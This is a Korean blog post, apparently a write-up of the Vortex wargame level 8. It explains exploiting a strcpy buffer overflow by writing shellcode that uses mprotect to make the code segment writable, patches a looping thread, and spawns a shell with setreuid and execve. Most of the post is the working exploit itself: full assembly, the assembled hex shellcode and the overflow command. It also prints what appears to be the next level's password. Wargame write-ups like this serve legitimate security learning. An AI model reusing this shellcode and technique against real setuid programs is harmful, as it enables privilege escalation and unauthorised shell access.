vortex level8
strcpy로 인해 BOF가 발생하는 unsafecode는 호출하기전에 권한설정이 현재 uid 인 510으로 설정되어
vortex9(511)의 쉘을 띄울 수가 없다. 어떻게 해야될까..
구글링을 하니 beist님이 쓰신 글이 가장 도움이 되었는데 간단히 말하면, 하나의 프로세스에서 .code 영역은 공유되므로 권한 설정 전에 호출되는 쓰레드의 코드를 직접 바꾸도록 쉘코드를 만드는 것이다.
음.. 좋아 쉘코드를 만들어 보자.
다음은 Writing shellcode for Linux and *BSD (http://www.kernel-panic.it/security/shellcode/)의 일부를 번역한 것이다.
--------------------------------------------------------------------------------------
System Call을 실행하기 위해 필요한 것은 다음과 같다.
---------------------------------------------------------------------------------------------------
먼저 핵심이 되는 mprotect.
#include <sys/mman.h>
int mprotect(const void *addr, size_t len, int prot);
mprotect를 이용해 권한을 바꿀 주소를 살펴보자. 다음은 safecode를 디스어셈블한 내용이다.
0x08048564 <safecode+0>: push %ebp
0x08048565 <safecode+1>: mov %esp,%ebp
0x08048567 <safecode+3>: sub $0x8,%esp
0x0804856a <safecode+6>: movl $0x0,-0x4(%ebp)
0x08048571 <safecode+13>: sub $0x8,%esp
0x08048574 <safecode+16>: pushl -0x4(%ebp)
0x08048577 <safecode+19>: push $0x8048708
0x0804857c <safecode+24>: call 0x8048464 <printf@plt>
0x08048581 <safecode+29>: add $0x10,%esp
0x08048584 <safecode+32>: sub $0xc,%esp
0x08048587 <safecode+35>: pushl 0x8049838
0x0804858d <safecode+41>: call 0x8048414 <fflush@plt>
0x08048592 <safecode+46>: add $0x10,%esp
0x08048595 <safecode+49>: sub $0xc,%esp
0x08048598 <safecode+52>: push $0x1
0x0804859a <safecode+54>: call 0x8048444 <sleep@plt>
0x0804859f <safecode+59>: add $0x10,%esp
0x080485a2 <safecode+62>: jmp 0x8048571 <safecode+13>
safecode 마지막에서 0x08048571로 반복되는 부분이 있다. 그러므로 0x08048571 부터 쉘코드를 덮어 씌운다면
jmp 문에 의해서 의도한 코드가 실행될 것이다.
처음에는 0x08048571 부분부터 코드 영역에 덮어씌울 쉘코드의 크기만큼만 권한을 바꾸려 했으나
테스트 결과 계속 세그 폴트가 났다. 으.. 영문을 모르겠어서 그냥 다음 영역 전체의 권한을 바꾸기로 했다.
따라서 mprotect는 대충 이런 모습으로 호출될 것이다.
mprotect(0x08048000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC);
mprotect는 앞서 나온 설명대로 ebx,ecx,edx에 각 파라미터를 집어넣고 0x7d로 인터럽트를 발생한다.
0x00124751 <mprotect+1>: mov 0x10(%esp),%edx
0x00124755 <mprotect+5>: mov 0xc(%esp),%ecx
0x00124759 <mprotect+9>: mov 0x8(%esp),%ebx
0x0012475d <mprotect+13>: mov $0x7d,%eax
0x00124762 <mprotect+18>: int $0x80
위의 정보를 토대로 asm으로 만들면
mov $0x7,%dl #read,write,exec 권한을 다 설정해주면 0x7로 들어간다.
mov $0x1010,%cx #0x1000을 사이즈로 넣게되면 쉘코드에 널바이트가 있게된다.
xor %cl,%cl #0x1010을 넣어주고 1바이트를 xor 해줘서 0x1000을 만든다.
mov $0x08048010,%ebx # 위와 마찬가지
xor %bl,%bl
mov $0x7d,%al #mprotect의 syscall number 0x7d
int $0x80
최종 asm 코드는 다음과 같다.
main:
jmp put_string
start:
pop esi #stack에 들어있는 shellcode 주소를 esi에 넣는다.
xor %eax,%eax #사용하는 레지스터를 초기화
xor %ebx,%ebx
xor %ecx,%ecx
xor %edx,%edx
mov $0x7,%dl #mprotect 호출
mov $0x1010,%cx
xor %cl,%cl
mov $0x08048010,%ebx
xor %bl,%bl
mov $0x7d,%al
int $0x80
xor %edx,%edx #memcpy 전에 register 초기화
xor %ecx,%ecx
mov $0x08048571,%edi #dest address를 edi에 넣는다.
mov $0x31,%cl #size를 ecx에 넣는다.
mov %cl,%dl
shr $0x2,%ecx
cld
rep movsd
mov %edx,%ecx
and $0x3,%ecx
rep movsb
put_string:
call start
xor %eax,%eax
xor %ebx,%ebx
xor %ecx,%ecx
mov $0x1ff,%cx # vortex9의 uid 511을 넣는다.
mov $0x1ff,%bx
mov $0x46,%al
int $0x80 # setreuid(511,511);
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f # /bin//sh 문자열을 만들어서
mov %esp,%ebx # ebx에 넣고
push %eax
push %ebx
mov %esp,%ecx # 앞서 만든 문자열 주소를 ecx에 넣고
mov %eax,%edx # NULL을 edx로
mov $0xb,%al
int $0x80 # execve("/bin//sh", "/bin//sh", NULL)
위의 코드에서 뽑아낸 최종 쉘코드.
\xeb\x36\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x07\x66\xb9\x10\x10\x30\xc9\xbb\x10\x80\x04\x08\x30\xdb\xb0\x7d\xcd\x80\x31\xd2\x31\xc9\xbf\x71\x85\x04\x08\xb1\x31\x88\xca\xc1\xe9\x02\xfc\xf3\xa5\x89\xd1\x83\xe1\x03\xf3\xa4\xe8\xc5\xff\xff\xff\x31\xc0\x31\xdb\x31\xc9\x66\xb9\xff\x01\x66\xbb\xff\x01\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
생성한 쉘코드를 eggshell로 환경변수에 집어넣고 unsafecode에서 strcpy 될때 ebp-0x408(1032) 부터 복사되므로 ebp까지 덮도록 1036개의 쓰레기값으로 채운 후에 ret를 eggshell의 주소로 지정해준다.
머 대충 이런식으로.. /vortex/level8 `python -c 'print "\x41"*1036+"\xf0\xff\x7f\xbf"'`
쉘이 떴다!! 오예~! 스샷은 찍기 귀찮아서.. ci41)GJhb
'War game > vortex' 카테고리의 다른 글
vortex12 (0) | 2014.01.02 |
---|---|
Vortex11 (3) | 2013.04.02 |
vortex level10 (0) | 2011.04.18 |
vortex level3 (0) | 2009.10.03 |
vortex level1 (0) | 2009.09.24 |
vortex level0 (0) | 2009.09.23 |